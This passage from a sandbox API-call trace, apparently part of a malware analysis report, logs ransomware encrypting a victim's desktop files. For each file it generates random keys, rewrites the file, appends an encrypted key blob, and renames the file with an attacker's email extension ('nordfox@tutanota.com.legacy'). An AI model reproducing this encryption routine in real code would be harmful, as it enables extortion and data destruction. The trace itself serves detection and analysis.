lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0111.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0111.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0111.831] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11a [0111.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.831] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.831] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.832] CloseHandle (hObject=0x5e4) returned 1 [0111.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0111.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.832] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0111.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0111.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0111.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.835] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\dcJ5f17K3cIy6UPZ.mp3", dwFileAttributes=0x80) returned 1 [0111.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0111.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0111.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0111.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\dcJ5f17K3cIy6UPZ.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dcj5f17k3ciy6upz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.836] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18167) returned 1 [0111.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46f7) returned 0x5e9bd0 [0111.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46f7) returned 0x5ee2d0 [0111.836] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x46f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46f7, lpOverlapped=0x0) returned 1 [0111.838] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-18167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.838] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ee2d0*, nNumberOfBytesToWrite=0x46f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ee2d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46f7, lpOverlapped=0x0) returned 1 [0111.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ee2d0 | out: hHeap=0x520000) returned 1 [0111.838] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46f7 [0111.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.839] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.840] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.840] CloseHandle (hObject=0x5e4) returned 1 [0111.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.840] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\dcJ5f17K3cIy6UPZ.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\dcj5f17k3ciy6upz.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\dcJ5f17K3cIy6UPZ.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\dcj5f17k3ciy6upz.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0111.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0111.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0111.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0111.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0111.843] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.843] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0111.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\cwcm9CrMRKylfo.m4a", dwFileAttributes=0x80) returned 1 [0111.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e84d8 [0111.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\cwcm9CrMRKylfo.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\cwcm9crmrkylfo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.844] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93576) returned 1 [0111.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16d88) returned 0x5e9bd0 [0111.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16d88) returned 0x2f40050 [0111.846] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x16d88, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x16d88, lpOverlapped=0x0) returned 1 [0111.850] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-93576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.851] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x16d88, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16d88, lpOverlapped=0x0) returned 1 [0111.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.856] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16d88 [0111.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.919] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.920] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.920] CloseHandle (hObject=0x5e4) returned 1 [0111.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.920] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\cwcm9CrMRKylfo.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\cwcm9crmrkylfo.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\cwcm9CrMRKylfo.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\cwcm9crmrkylfo.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e84d8 | out: hHeap=0x520000) returned 1 [0111.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0111.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.924] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.924] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\ckoufc.exe", dwFileAttributes=0x80) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0111.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0111.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0111.925] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\ckoufc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ckoufc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0111.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0111.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0111.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0111.926] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\bHECoAYdZGA AXNAvXF.avi", dwFileAttributes=0x80) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0111.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7cf0 [0111.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0111.927] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\bHECoAYdZGA AXNAvXF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\bhecoaydzga axnavxf.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.928] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14429) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x385d) returned 0x5e9bd0 [0111.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x385d) returned 0x5ed438 [0111.928] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x385d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x385d, lpOverlapped=0x0) returned 1 [0111.930] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-14429, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.930] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ed438*, nNumberOfBytesToWrite=0x385d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ed438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x385d, lpOverlapped=0x0) returned 1 [0111.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ed438 | out: hHeap=0x520000) returned 1 [0111.930] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x385d [0111.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.930] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.931] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.931] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.931] CloseHandle (hObject=0x5e4) returned 1 [0111.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0111.932] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\bHECoAYdZGA AXNAvXF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\bhecoaydzga axnavxf.avi"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\bHECoAYdZGA AXNAvXF.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\bhecoaydzga axnavxf.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7cf0 | out: hHeap=0x520000) returned 1 [0111.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0111.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0111.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0111.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0111.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.937] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0111.937] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0111.937] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\b1qmTDkLk5.swf", dwFileAttributes=0x80) returned 1 [0111.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0111.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0111.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0111.938] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\b1qmTDkLk5.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\b1qmtdklk5.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.938] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79011) returned 1 [0111.938] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134a3) returned 0x5e9bd0 [0111.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134a3) returned 0x5fd080 [0111.939] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x134a3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x134a3, lpOverlapped=0x0) returned 1 [0111.942] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-79011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.943] WriteFile (in: hFile=0x5e4, lpBuffer=0x5fd080*, nNumberOfBytesToWrite=0x134a3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fd080*, lpNumberOfBytesWritten=0x2e1f9bc*=0x134a3, lpOverlapped=0x0) returned 1 [0111.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fd080 | out: hHeap=0x520000) returned 1 [0111.946] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x134a3 [0111.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.948] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.949] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.949] CloseHandle (hObject=0x5e4) returned 1 [0111.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0111.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.949] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\b1qmTDkLk5.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\b1qmtdklk5.swf"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\b1qmTDkLk5.swf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\b1qmtdklk5.swf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0111.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0111.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0111.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0111.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0111.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0111.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0111.956] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0111.956] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\9LK4qcZv5ITL2VTxp.mp3", dwFileAttributes=0x80) returned 1 [0111.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0111.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7c38 [0111.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0111.957] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\9LK4qcZv5ITL2VTxp.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\9lk4qczv5itl2vtxp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.957] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69842) returned 1 [0111.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110d2) returned 0x5e9bd0 [0111.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110d2) returned 0x5facb0 [0111.958] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x110d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x110d2, lpOverlapped=0x0) returned 1 [0111.962] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-69842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.962] WriteFile (in: hFile=0x5e4, lpBuffer=0x5facb0*, nNumberOfBytesToWrite=0x110d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5facb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x110d2, lpOverlapped=0x0) returned 1 [0111.963] HeapFree (in: 